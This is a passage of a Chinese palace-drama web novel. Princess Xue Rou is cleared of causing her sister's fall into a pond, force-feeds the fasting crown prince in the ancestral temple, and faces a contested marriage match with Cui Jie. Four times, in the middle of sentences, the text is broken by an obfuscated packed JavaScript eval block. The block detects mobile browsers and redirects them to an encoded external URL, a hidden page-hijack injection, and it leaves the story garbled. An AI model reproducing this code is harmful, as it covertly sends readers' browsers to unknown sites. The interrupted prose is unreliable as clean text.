薛柔忍不住拆穿她的把戏：“看没看见，你说了不算，我说了也不算。当时太子也在，不妨请太子过来说道说道，正好还我一个清白。” 太子不肯与薛嘉为伍，反替薛柔证明的来龙去脉，薛嘉曾向舒婕妤和盘托出。舒婕妤不由心虚，脑子一转，开始痴缠景帝：“陛下，妾身只得了这么个女儿，打小捧手心里爱护，一点风霜不舍得叫她经受。含辛茹苦养这么大，谁知无缘无故遭受此劫，险些把性命赔进去……嘉儿至今都在榻上躺着，睡也睡不安稳，好容易闭着眼，呓语不断，一个下午惊醒好几回。妾身恨不能替她承受了……” 景帝近来很疼舒婕妤母女，薛柔看在眼里，隐隐怕他心旌动摇，执意请太子出面澄清事实。景帝春秋已高，架不住漫长的聒噪，摆手令龚福跑一趟东宫。 龚福手脚利索，办事稳妥，少顷，引来太子。 阵仗如此之大，薛怀义事过了一遍耳朵，另外他一直遇事沉着，处变不惊，眼下现身不免处处淡定：“儿臣给父皇母后请安了。” 薛柔从来不像现在这般欢迎过薛怀义，她急切道：“你来得正好……” “小十。”皇后开口，薛柔讪讪闭嘴，皇后方继续询问薛怀义：“白天在御花园，太子可曾见着八公主是怎么坠的水？” 舒婕妤心发慌，偷摸观察薛怀义的神色，一边飞速思索应对之策。 薛怀义娓娓道来：“回母后，八妹妹掉下池塘，是失足所致。” 皇后再度确认：“太子瞧真切了，八公主落水，无人从中作梗，是一场意外？” 薛怀义道：“是。” 皇后舒心一笑，将话头抛给舒婕妤：“舒婕妤，你可也听清楚了？” 舒婕妤悄悄观摩景帝，见其肃着一张脸，着实骇人，连忙把错推给下人，自己则摘得干干净净：“妾身是关心则乱，一时犯了糊涂，轻信下人信口胡吣……待回去以后，妾身一定狠狠惩治那些个烂了嘴的！” 沉冤昭雪后的薛柔，一身轻，有精力挑拣舒婕妤：“好话歹话全让婕妤说完了，真真儿好笑。” “行了。”景帝说，“尽管真相大白，你们皆心存怨言，朕知道。薛嘉薛柔纵容奴仆大打出手，管教不严，惹出众多非议，当罚。各罚抄五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521191|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍论语，禁足一月，但念在皇太后寿辰将至，禁足便免了。至于五遍的论语，太后寿诞后，交与朕过目。” “太子身为储君，任由丑闻滋生，有失储君之道，是为无能，应重罚。罚抄十遍尚书；至太后大寿前不许吃晚膳，空着肚子头脑清醒，好去太庙对着列祖列宗的牌位跪着反躬自省。” 掐指一算，太后寿诞在下月十八，距今足有二十天。薛柔暗自幸灾乐祸，薛怀义有苦头吃了。 这场闹剧，终以薛嘉薛柔各打五十大板、薛怀义重责“二百大板”收尾。 薛嘉联合其母暗害未遂这仇，薛柔牢记于心，奈何风头才过，龙颜才缓和下去，不便立时报复回来，唯好把敌意加倍倾注于笔杆，每日奋笔疾书去完成那五遍论语，边抄边思忖风平浪静后寻仇之计，竟无心出门，一连憋到了太后大寿前夕。 皇后担忧她日夜对着书本把眼睛瞅坏，特许她带贝贝放一放风；放完了，再将亲自精心炮制的一盘绿豆糕送去太庙，给薛怀义空荡荡的肚子添点食儿，权当不久前替薛柔解围的一点绵薄心意。 一听是为薛怀义耗费心神准备的东西，薛柔撂挑子不干了，严词拒绝：“那算哪门子解围，那是事实。即使太子不站出来，儿臣也行得正坐得端。” 皇后叹道：“让你抄论语，你却只顾盲抄，上面的道理全然没领悟。你以为你父皇责备你是为何？” 薛柔油盐不进道：“父皇变心了，疼薛嘉胜过了我，所以宁肯折腾一大圈也不愿信我是无辜的。” 皇后弹弹她的额头，恨铁不成钢道：“你呀你，快十五岁的人了，心智仍然幼稚得像个小娃娃。你父皇怪你，无关薛嘉，无关舒婕妤，根本是为你们这帮儿女将私下的不睦抬到了台面上，致使家丑外扬而怒发冲冠的。” “小十，你大了，不能再跟小时候一样任性了。何况你是公主，一言一行全落在旁人眼皮子底下。我和你父皇现今能力排众议护你，将来呢？” “小十，你总会有需要独当一面的时候啊。” 一席话讲得热切感人，薛柔受之感染，顶撞之辞哽在喉管。 “人上了年纪，就爱唠叨……”皇后轻抚她的额发，柔情款款，“我真希望你能听进去，长远地放在心上。” 薛柔不忍惹皇后伤心，违拗心意道：“我去就是了，母后不准再妄自菲薄了。母后同父皇历来没病没灾，定然会长寿安康的。等我七老八十了，我还要到你们膝下嗲着嗓子撒娇呢！” 皇后被逗笑：“惯会甜言蜜语哄人开心。好了，休要贫了，趁天亮着，赶紧出门吧。” 完了又不放心，叮嘱：“早点回来，别贪玩。” 薛柔明面上笑嘻嘻答应，背地里小声咕叽：“他浑身沾着晦气，扔下食盒就走还恐耽误事，岂会贪玩逗留？除非我脑子坏了。” 打发走薛柔后，皇后交代许嬷嬷：“明儿你去崔家大房院里，就说我宫里新得了些龙井茶，鲜得很，请余夫人前来一品。” 近来她的心老是没来由地发紧，夜里也睡不踏实。思来想去，兴许是小十一天大似一天，婚姻大事却没个着落的缘故。而小十对崔家二郎有意，二人各方面也相配，既如此，不妨早日定下来，就算了却一桩心事了。 8. 逼迫 太庙有一段路，到达之时，斜阳已经坠下天际。 看守的侍卫认得薛柔，兼闻是授皇后之意，痛快放行。 薛柔足底生风，径直走近堂内正中央跪着的背影，朝三喜扔眼色。三喜客客气气把食盒搁置。 “我母后给你的。”“我”字被她咬得格外重，“麻溜吃了，我好回去交差。”每个字俱染着敷衍，她是一万个不想来。 不耐烦告知完毕，抱着胳膊随处巡看，就是不看薛怀义——碍眼。 皇后的厨艺无疑是精湛的，盖子一揭开，绿豆的清香扑鼻而来，饶薛怀义不怎么吃甜食，亦不免馋得吞了口唾沫。 一连二十天，他没碰过一口晚饭。白日挥墨如雨，夜晚虔诚反省。每每黎明时分出太庙回东宫的路上，头晕眼花，胃里灼烧，身心俱疲。 一朝太子，活成他这副狼狈之态，恐怕是空前绝后了。 “多谢……娘娘关怀。”薛怀义竭力克服两膝上那无孔不入的酸麻之感，不使脊梁弯折半分，“只是父皇有令，我不能忤逆，请十妹妹拿走吧。” 薛柔当即怼回去：“叫你吃，你吃就完了，啰里啰嗦的。父皇诚然罚你，可没有遣人盯着你，劝你早些收起那孝子面孔，父皇看不见。你皮子底下是什么人，我清楚得很，更使不着演给我看。” 薛怀义坚守底线，不肯僭越：“今时不同往日，恕我不能从命，妹妹请回吧。” 薛柔不信这个邪，甩开交叉的胳膊，眼神犀利，口角锋芒：“薛怀义，你别以为你站出来说句公道话，替我解了困，就能随意摆布我。我摊开了告诉你，今儿这盘子糕点，你必须吃进嘴里，而且一块也不准剩。” 不敢忤逆父皇，却有胆子违逆她？看来这程子待他宽松了些，致使从中起了误会，叫他认为可以蹬鼻子上脸了。 列祖列宗在前，仿佛赋予无限底气，助薛怀义与薛柔抗衡：“妹妹何必咄咄逼人，非要我死了才肯消停么？” 薛柔恍惚一瞬，讥笑道：“你吓唬谁？有这骨气，当初你便不会死皮赖脸谋见父皇，合该安安分分待在行宫。现今你好处占尽，反而觉得憋屈了？”说着笑意戛然消失，“我咄咄逼人？没错。我只恨我能做的太少，眼看着你抢占一切。” “薛怀义，你若是个人，就把不属于你的通通偿还。否则，便老实受着，”满堂烛光映亮她冷傲的面容，“这都是你咎由自取的。” 那束仇视有力地撬开了心防，宽大的袖筒之下，藏着两个攥到发白的拳头。薛怀义回头仰视薛柔，毫不避讳。这张脸，他会永永远远记得。 他直白的凝望，让薛柔有种被明晃晃玷污的感觉，无比恶心。 “三喜，把盘子递我。”不可再同他对峙了，得赶快应付过去。 三喜大气不敢出，小心翼翼捧上盘子，薛柔没接，仅捏起一块儿糕点，另只空着的手则扳住薛怀义的下颔骨，然后将糕点粗鲁塞进那两片干枯的嘴唇里。不管他是否咽得下去，动作连贯，一块接一块。不出一盏茶，盘底见空。 与薛怀义挂钩的物件，她姑且嫌脏，如今亲手触及真人，定然膈应死了。三喜对她了如指掌，及时奉上一方干净的手帕，供其擦拭。 左擦右擦，横擦竖擦，怎么也擦不干净那股子令人作呕的气味，薛柔恼了，掷开绢帕，大步离开，欲尽快回宫洗净双手。 三喜提起食盒慌慌张张追随。 回去以后，薛柔不止翻来覆去地擦洗双手，又要了热水泡澡。总共换了两次水，前后折腾一个多时辰，晚饭也没顾上。 忧心她饿坏肚子，皇后吩咐小厨房按她平时的口味备好夜宵，由三喜端入寝殿。 薛柔却裹着衾被神色怏怏道：“拿走，我没胃口。” 在三喜的认知里，她心情再坏，亦断不会辜负了美食。这不正常。 “殿下哪里不爽利吗？”三喜仔细着放下托盘，忧心忡忡道，“要不要请太医过来看看？” 薛柔转身朝床里侧：“我没事，单纯不饿。那宵夜给你吃吧，别剩，要不母后该多心了。” 她郁郁不乐，三喜跟着操心，哪里吃得下，跪伏床前眼巴巴的：“奴婢虽然蠢笨，但还有些用处，殿下有什么不对心思的尽管跟奴婢倒，不成的话骂奴婢也是行的。奴婢只求殿下高高兴兴的……” 一个贝贝，一个三喜，任劳任怨听薛柔调遣。对他们，她素来宽和。 “我怀疑我魔怔了。”她抱着被子猛坐起来，烦躁地抓了把头发，“我怎么能对薛怀义摸得下手？他那么低贱，那么讨厌……” 三喜恍悟，原来症结出在太子。 “那会您气极了，这才大意了。”其实三喜也觉不可思议，可她脑子笨，思索半晚得不出个所以然，这时疑问顶到嘴边，唯有找补加安慰了，“殿下千万别过意不去，明儿是正经日子，得早起，如果钻牛角尖，指定一整宿不清净，哪怕没延误，八成呵欠连连，没精打采。太后娘娘的严厉您是领教过的，万一抓着您打瞌睡，势必不能善了。说一千道一万，您当养精蓄锐应对明日的场子才是啊。” 太后不苟言笑，秉性严肃，待人待己皆躲不过严苛二字，不过这四五年来年事已高，腿脚不灵便，不大过问诸事。 遥想太后精神抖擞时，薛柔没少挨训，有一次不留神打碎了慈宁宫的一个花瓶，不及遮掩，太后即命她伸出手来，手执戒尺噼里啪啦打了她三手板。意在令她牢记日后不可再马虎莽撞，务必熟知分寸，三思而行。 薛柔吓倒了，此后能不去慈宁宫就不去，实在逃不开，一定规规矩矩、瞻前顾后，不敢行差踏错一步。 太后打一巴掌，帝后便给一把甜枣。所以，一家子骨肉，她尽情依赖父皇母后，对皇祖母，恨不能疏远到底。 旧日酸楚一幕幕浮现，薛柔不禁打了个寒颤，紧忙打发三喜连吃带拿收拾利索宵夜，吹灯歇了。 翌日，薛柔起了个大早，形容素净，随大流去往慈宁宫为太后祝寿。 尽知太后严苛，诸儿孙未敢慢待，早早于慈宁宫外会集，景帝皇后亦不例外。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521192|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 薛柔第一眼看见了叔父成王，压抑的兴致勃然冲破禁制，轻手轻脚挪去，乍一拍成王的后背：“皇叔！” 成王唬了一跳，捂着胸口回顾，假意训斥：“你个小鬼头，找打是不是？” 成王乃先帝老来得子，整整和前头的哥哥姐姐差了两辈，今年刚迈入而立之年。成王待人亲和，从不自恃长辈身份而拿腔作势，欣然同众小辈打成一片。 薛柔嬉皮笑脸道：“皇叔就嘴皮子厉害，实际上怂得很，哪个都打不过。” 成王摇着手指头，挖苦回来：“依我看，五遍论语远远不够，应该罚你这死丫头把四书五经通通抄一遍才好。” 这段日子没日没夜地抄书，不夸张地讲，睡里梦里都念着这档子事，薛柔实在厌倦了，忙把食指贴在唇畔，比个噤声的手势：“快别出馊主意，父皇母后那倒是其次，一旦吹去皇祖母耳根子前，我是吃不了兜着走。” 成王看热闹不嫌事大，眼睛斜觑着面无表情的薛嘉，用胳膊肘碰碰薛柔，调侃：“你和小八可真成，把你们的老好人父皇气得吹胡子瞪眼不提，居然牵累得太子跪了大半个月的太庙。”完事竖起大拇指来。 薛嘉、薛怀义二人，实为眼中钉肉中刺，听也听不得。薛柔的好心情陡然沉了一半，偏头往薛嘉处狠狠一瞪眼，口内不忘没好气地搪塞成王：“皇叔一大把年纪的人了，比小孩子还好事，真幼稚。得，我不与你扯闲篇了，以免动静太大惊扰了皇祖母，最后拿我开刀。” 亏得她有先见之明，方退回孙子孙女辈的队列中，慈宁宫宫门大开，以陈嬷嬷为首的两班宫人分两列排开，恭迎众人入内。 好几年不见，薛柔对陈嬷嬷的印象仍然浓墨重彩。这位嬷嬷，比皇祖母更严肃，一张长脸时刻紧绷着，人见怕鬼见愁。薛柔不敢轻狂，一道低头，顺利规避与陈嬷嬷眼神接触的可能性。 先由儿女进去请安贺寿，其余人等静悄悄在外等候。 忙里偷闲，薛柔掏手绢轻轻点去额角的薄汗。前头站着薛嘉，犹如背后长了眼睛似的，薛嘉略略斜着身子揶揄：“原来妹妹也有害怕的时候。” 薛柔掖好帕子，因顾忌身在慈宁宫，不可大声喧哗，便压着嗓子刺儿回去：“栽了一次跟头以后，我也意识到，原来八姐姐的心下流到那种地步。” 姐妹情深的戏码，上演了十几年，何差这一时。薛柔咳嗽几声，弱弱道：“妹妹的话，我听不明白。” 薛柔翻个白眼，懒得搭理她，转而盯上右前方的瘦长人形——苍白的左手自然垂落，指节很瘦，仿若抽了芽的柳条；指关节微微泛红，明明不算明显，却十分刺眼……红的，昨晚在太庙，他的嘴唇也是红的。她的手握下去，连同他瘦削的下巴也印了红，病态的、妖冶的红。 “太后娘娘请诸位殿下进屋。” 陈嬷嬷苍老而沉稳的声音将思绪拉回现实。薛柔抬手拍拍脸颊，手心的凉意恰恰好，警醒她适才的凝视越了界。 那可是薛怀义，身为下贱，一星半点沾惹不得。 9. 婚姻 太后一生恪守礼法，八十岁的高龄，依然正襟危坐，背脊的线条直直的，宛如刀背一般。 孙子孙女们依排行近前行礼说吉祥话，太后掀着薄薄的眼皮子聆听，问过安的便退至一侧。一个挨着一个，没多久，旁侧已然井然有序站了一排。 轮到薛嘉，她不慌不忙上前，三跪九叩，蹦出来的祝词亦字字珠玑，寓意圆满；一行一动，落落大方，深得太后喜欢。 “听闻你不久前失足跌进池塘，生了一场病。可好全了？”特属于老年人的嗓音飘扬而来，当中沉淀着荣宠一生的优雅与庄严。 薛嘉不卑不亢回话：“多谢皇祖母关怀，孙女已无碍了。” 太后颔首：“你先天体弱，平平安安长这么大不容易，以后要当心些。”随后交代小宫女与了一盒天山人参。 薛柔仔细两手接着，莞尔道：“是，孙女谨记皇祖母的叮咛。” 紧跟着是九皇子薛通。薛通少年成名，举止有度，一样得太后欢喜，有来有回说了些话，着一个小宫女捧去两瓶止血化瘀的上等金疮药。薛通毕恭毕敬领受，踅至一侧，目光打向薛柔，隐隐不安。 小十顽皮，偶尔免不得马虎大意，万一像小时候哪句话失了妥当不对皇祖母的心思……但愿她长进些，晓得分寸，左右糊弄过今日。 尚未对上太后的视线，薛柔便觉胆战心惊，慢吞吞移开脚，照着提前练习过的礼数施行起来，万幸没出错，顺利捱到了太后问话的环节。 “这几年你的荒唐事迹，我一一听过了。” 薛柔心下悚然，闷头不敢吭气。 “你的八姐姐长不了你几岁，她处处周全，你却刁钻成这副轻薄样子。”太后喟叹一声，“罢了，我老了，管不了许多。”即摆摆手，“你们各自便宜吧。” 哥哥姐姐们俱被柔善对待，末了还赐下各种物什，偏薛柔挨了教训，又两手空空；一跨出门槛，便忍不住小声嘟囔起来：“我哪样做得不对，干嘛总挑我的不是？规矩也不是，不规矩更不是，啧，真难伺候……” 薛通离她近，于心不忍，伸手轻揉她的头顶予以宽慰：“别难过了，明儿我有空，带你出宫玩。” 吃喝玩乐，人生美差，薛柔满心乐意，阴霾一扫而空，凑近半步笑眯眯道：“哥哥能否疏通疏通，把小崔大人一同邀上？” 她记得准确的话，九哥哥的好友林显似乎与崔介交情匪浅。有这层关系打基础，约来崔介应该不算难事。 薛通玩心大发，模棱两可，故意吊她的胃口：“这个嘛，不好说。毕竟我和小崔大人隔着一层，不熟。成事与否，且听天由命吧。” 薛柔精明，不上套：“少诓我。”过后干脆耍起无赖：“总之，明儿我要见着崔介，不然去了也没趣。” 薛通破功，朗笑道：“好好好，我尽力周旋。” 边走边聊，不知不觉出了慈宁宫，却逢薛嘉薛怀义两人正叙话，薛嘉笑将太后赏的那株人参递出去：“这人参放在我手里也是白白糟蹋，不如赠给有需要的人。” 大耗一场，此刻薛怀义虚弱至极，面白如纸，唇无血色，整个人依稀散着潮气，更像鬼了。 薛怀义微笑道：“皇祖母既赐给妹妹，妹妹自当使得上，何来糟践一说。” 这是迂回着拒绝了。薛嘉胸口憋闷，胳膊发僵，悬在彼此中间，不上不下。 薛怀义不领薛嘉的人情，薛柔快意非常。让她有事没事献殷勤，这下碰一鼻子灰，舒服了。 “那……好吧。”薛柔逞一张嘲讽的嘴脸在旁大剌剌观看，这令薛嘉相当羞赧，强忍难堪转身走开。 自昨晚在太庙和薛怀义有过肌肤接触后，薛柔心乱如麻，当下看着他的正脸，愈觉扎眼，于是破天荒地没找他麻烦，径自乘辇回坤宁宫了。 坤宁宫内，皇后有一搭没一搭地拨弄着香炉里的灰，状似失神。 许嬷嬷打起门帘进屋，见火盆内的碳将燃尽，唤人来添碳。及小宫女冒冒失失进来，心生不快，出言责备：“一个两个光出气不长心眼子！我若没来，火盆烧空了还无知无觉呢。你们呐，操点心，别只晓得吃吃喝喝。” 小宫女忙不迭告罪，许嬷嬷训斥过就算了，不难为她，看着火盆一点点满上，遂放人出去。 “你训她做什么。她们年纪轻，脸皮薄，指不定背着人哭多久。”屋里的对话声惊醒皇后，她撂下小铲子，盖好香炉，回身就着架子上脸盆里的温水净手。 许嬷嬷交心：“那起懒东西，紧管还不成气候，撒开手那还了得。娘娘就是太心善了，惯得他们没个规矩，不成方圆。” 皇后擦净水滴，信步至外间的矮榻上落座，拿起方几上的绣活里外穿引。 许嬷嬷机警，隐约察出皇后的异状，借奉茶的口子试探：“自从娘娘出了慈宁宫便心不在焉的，敢是太后对娘娘说了什么？” 许嬷嬷猜准了。皇后无心针线，搁置一边，口内连连叹气：“太后与我商量，八公主及笄一年多了，竟还没物色着一个驸马；太后觉得崔家百年世家，门楣显耀，今年又出了个状元，堪与皇家结亲。” 听口风，许嬷嬷惴惴不安起来。 崔家孙子辈的一只手数得过来：大房长孙崔碌，人如其名，碌碌无为；二房的崔介，才貌双绝，举世难得；三房的崔护崔荣两兄弟，前者懦弱无能，后者年纪太小，仅仅十岁。通观崔家这些郎君，可为良配的，只那么一位。 莫非…… 一时，主奴二人相视无言，答案尽在不言中。 “这怎么能行？”许嬷嬷两条眉毛几乎连在一起，“崔二公子与咱们小殿下之间那才算才子佳人，天造地设。八公主……”许嬷嬷不便明言，摇头表示。 皇后心烦意燥，扶着太阳穴沉默良久，眉目间多了几分坚决：“旁的，我可以拱手让人，牵涉小十的终身大事，断乎行不通。”哪怕太后当头逼着，亦不好使。 “……明日你照常去崔家，其他的，大不了一个不管顶着呢。” 许嬷嬷毅然称是。 事不宜迟，次日晨起，许嬷嬷搭车子出宫拜访余夫人，余夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521193|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别无话说，应邀入宫。 品一品茶，商议商议两家婚事，日头便爬到了中天。 “时辰不早，我也不留余夫人了。”事关儿女终身，得给人家细细思量的时间，故而皇后体贴人意道。 余夫人一面点头，一面出了宫门，回府全程心猿意马。 崔介在翰林院当值，中午不回来，他父亲崔寿是个闲人，招呼了一桌子饭菜静候余夫人到家。 “夫人快尝尝，这鲈鱼鲜不鲜。”崔寿自个儿上湖边垂钓的鲈鱼，念想着余夫人陪皇后说了一上午的话，必然口干舌燥，故此特特上火烹了犒劳夫人。 余夫人挨着椅子边沿坐下，看着那盘子鱼久久不言语。 崔寿推去一杯清茶：“来回奔波，夫人吃杯茶缓缓。” 茶茶茶，上午在坤宁宫用茶，好容易脱身又叫用茶！余夫人气不打一处来，翻脸无情道：“你儿子就快成了人家的乘龙快婿了，你还浑然不觉呢！” 余夫人一直不喜薛柔强势无理，特别自上次家宴，她吵得崔家鸡飞蛋打起，不喜剧然加深，变为了厌恶。 娶这种人当儿媳妇，和祸害有什么两样？ 崔寿恰恰心如明镜。帝后出面，家里老太太有意，哪里还有别人做主的份。“你我且是其次，重要的是明夷的想法。”他一向尊重儿子的意愿。 余夫人一颗心如同被架在火上炙烤，压根平静不下来：“事情逼到这关节，明夷再不情愿有什么招？说一千道一万，天底下的儿郎那许多，专拣咱们家薅，何苦来！” 心里装着难事，胃里也一阵阵顶得慌，这顿饭，余夫人半口未动。 天将黑透的节骨眼，一日事了，崔介骑马抵达家门口，小厮云澜稳稳接住从马背上递下来的官帽与笏板，踟蹰着说：“公子，夫人早起去了趟坤宁宫，回来以后郁郁寡欢，午膳也没动一筷子，似乎是出了不好的事……” 坤宁宫——崔介敏锐抓到关键信息，垂眼略一思索，跃然下马，官服不及褪下，阔步直入父母房中。 一整个白日，皇后的话在余夫人心中徘徊不散，郁结成病气，窜上头脑，冲得余夫人头昏脑热，现下正仰躺床榻瞑目休养着。崔寿侍候病榻跟前，手拿一块湿手巾细细替余夫人擦着手。 目睹这幕光景，崔介心一沉，驱身近前，矮身伏于病榻：“父亲，母亲这是怎么了？” 余夫人艰难入睡，生恐交谈声惊扰到她，崔寿嘱咐丫鬟认真侍奉病人，而后叫上儿子去前院书房，道明前因后果：“……我们是我们，主要看你自己的意愿。” 崔介表现得相当耐心从容，临到头弹出几个字：“儿子悉听长辈的安排。” 情情爱爱于崔介，乃身外之物，在他看来，娶妻生子和日复一日的生活别无两样——寅时起床，辰时点卯，午时果腹，戌时回家，亥时就寝……按部就班，条理清晰。 如此一来，同谁喜结连理、举案齐眉，皆无差别。非要列出一条来，大抵是他和十公主脾气不合吧。然而不要紧，夫妻一体，他会尽所能包容她的。 10. 暗流 薛通记着薛柔的嘱托，当晚便约见林显，说明意图。 原来这林显和崔家有亲，林显的母亲与余夫人是表姐妹，本家在泉州，先后嫁到了京城，原本不冷不热的关系随之紧密起来。 身为崔介的表弟，林显自然说得上话，当场应承下来。辞别薛通，顺路去崔府归还前几日向崔介借的书。 薛通静候佳音，直到隔天早晨，小厮传讯：“余夫人病倒了，林公子帮着照料，一夜没回。方才传来信，殿下托付的事怕是不成了。” 余夫人体格壮实，多少年来没听说害病，怎么就缠绵病榻了？薛通且按下疑心，问：“有没有提余夫人生了什么病，要不要紧？” 小厮一问摇头三不知，薛通没法子，草草咽了两口素粥，往坤宁宫向皇后请安。 抄书大任终于步入尾声，薛柔得了闲，痛痛快快睡了一夜，一睁眼已是红日满窗。一问三喜，巳时将尽了。 “你干什么吃的，今儿约了九哥哥出宫玩呢，就这么耽误了！”薛柔一边急赤白脸呵斥三喜，一边扯开床幔找鞋子穿。 因来不及，舍了对妆发的精雕细琢，素素净净地跑至皇后寝殿——薛通在此。 隔窗瞟见薛通的影子，她微微松了口气，加快步伐迈进殿内，气喘吁吁道：“我起晚了，还赶得上吧？” 和皇后对视一眼，薛通立即起身，比着身边的椅子说：“急匆匆的做什么，先坐下来歇歇。” 心有记挂，薛柔坐不住，直接上手抓薛通的胳膊，摇晃着问：“那事怎么样了，还顺利吗？” 对崔介的良苦用心，她没向母后坦白。她要面子，当时信誓旦旦说不稀罕他，也就一个多月，总不好打自己的脸。 “这事，有些棘手。”薛通按她坐好，面露难色，“余夫人病了，小崔大人忙着侍疾，翰林院那都告了假，短时间恐怕出不了门。” 肉眼可见地，薛柔的眼色瞬间黯淡无光，语气也蔫蔫巴巴的：“这样啊……那余夫人病势很重吗？” 薛通摇头：“不清楚。” 薛柔满怀失望地点点头，缄默无言。 “别灰心啊！”薛通调动气氛，“缺了小崔大人，咱们也能玩啊。我都打听好了，今儿街上有演杂耍的，你没看过，正好让你开开眼界。” 崔介缺席，玩乐之兴减了大半，薛柔犹犹豫豫，好一阵没个决断。 “你就去吧，出去撒撒欢，透透气。”皇后示意许嬷嬷塞给她一袋银子，薛通首先推三阻四：“妹妹瞧上什么，儿臣买，儿臣有钱，哪里用得着叫妹妹自掏腰包。” 遗憾归遗憾，去坊间热闹热闹却没理由错过。薛柔调理好心态，随声附和：“是呀母后，九哥哥如今的实力不容小觑，我花他一些跟从牛身上拔一根毛没两样，您仍收回去吧。” 兄妹俩亲近，皇后打心眼里欣慰，笑送他们出门。待二人嬉笑之音缥缈，笑意一层层剥落，握着门框的手寸寸收紧，自言自语：“这是不乐意了。” 许嬷嬷耳尖，字斟句酌道：“一切还没确切的消息呢，娘娘别多心。” 皇后抚着心口，怅然道：“近日古怪，心里有一阵没一阵地发慌，不得不叫我忧心啊……” 许嬷嬷劝慰：“逢太后寿宴，事事离不开您悉心操持，想必是过度劳累，身体也处处提醒您多加保重呢。一会老奴上太医院，请刘院判过来看看。没病当然庆幸，有病也不怕，安心将养就好。” 皇后有所动容，眺望宫墙外的蓝天白云：“便依你的吧。” 钟秀宫。 一个小宫女端来一小碗参鸡汤，但被薛嘉喝退：“走开，我不喝！” 小宫女进退维艰，泫然欲泣。 舒婕妤伸手要来参汤，打发走小宫女，语重心长道：“崔家几代名门，家底厚重，崔二郎君又才华济济、相貌堂堂，能嫁给他，你后半辈子真是无忧无虑，连我这个做母亲的都应该烧一把高香拜拜，你倒挑剔上了。” 打从生出促成薛嘉和崔介的念头那天开始，舒婕妤夜夜不能寐，辗转反侧筹算如何从中间牵个线，一连熬了几个大夜，算盘珠子便朝准了太后。 太后往日待薛嘉不薄，兼而有薛柔那个混账对比，于是乎更厚待薛嘉。所以，前几日舒婕妤斗胆求见太后，诉一番衷肠。太后果然重视，也觉得崔介是个合适人选，不介意替她主张。 前有太后这尊大佛保着，舒婕妤断定，这桩如意婚事必得圆满，好几日喜不能禁，夜里宿下也在为来日的荣宠而开怀。 薛嘉丧着小脸反驳：“可是母亲是不是忘了，皇后和父皇替薛柔看准了崔二郎……凭咱们再有能耐，安能截胡？” 凭什么她事事比不开薛柔，处处得拼尽全力去和薛柔争，到最后争得头破血流，竟还不一定争到手。 薛嘉不平，索性起了破罐子破摔之意。 另外，那崔介再万里挑一，难敌并非她欣赏的那款。 薛嘉的思绪渐渐渺茫，眼光跟着迷离恍惚，脑海里蓦然闪过一张鬼里鬼气的脸——稀里糊涂，不伦不类。 薛嘉一惊，迅速扑闪几下眼皮子，心慢慢静了。 舒婕妤胸有成竹道：“帝后再有威望，上面还有老佛爷坐镇。老佛爷发话，这事啊，不会有闪失的。”她捉住薛嘉的手腕，拍拍手背，“嘉儿，咱们母女扬眉吐气，指日可待了。” 薛嘉轻咬下唇，难以分辩。 舒婕妤大喜过望，未尝觉察那点怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521194|170732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 异，将参汤搁到薛嘉手心，喜滋滋道：“太后赏的人参，价值千金，浪费了多可惜。” 东宫。 程胜化身耳报神，近薛怀义之身，神神秘秘道：“太子殿下，宫里的人全在传，今儿早上皇后娘娘传唤余夫人进宫，预备定下十公主同崔二郎的好事呢。” 景帝责罚的十遍尚书还剩两遍，薛怀义从早抄到了现在。只见他执笔之手微微一颤，笔尖由之堕下，行与行当中赫然黑了一点。景帝要求严格，通篇错字且不允许出现一个，脏污断乎不能行。 “嗯。”薛怀义凝神，慨然撕下已然遍布字迹的那页纸，揉成团丢入渣斗，又不间断地落下笔墨，“日期定了？”口气之淡然，宛如随口一问。 别看层层宫墙，重重宫门——偌大皇宫，实则哪块有什么风吹草动，不消一日大可传得沸反盈天。比方今天坤宁宫之事，程胜便了若指掌。 “没呢，余夫人当时拿不定主意，得家去郑重商议。”程胜将所知所闻尽数倾吐，“奴才大胆说句不中听的，真真儿希望那两位成就好事，越快越好；十公主早一天出嫁，不止东宫，阖宫上下皆平安了，奴才这干人，才好伸出脑袋来当差。” 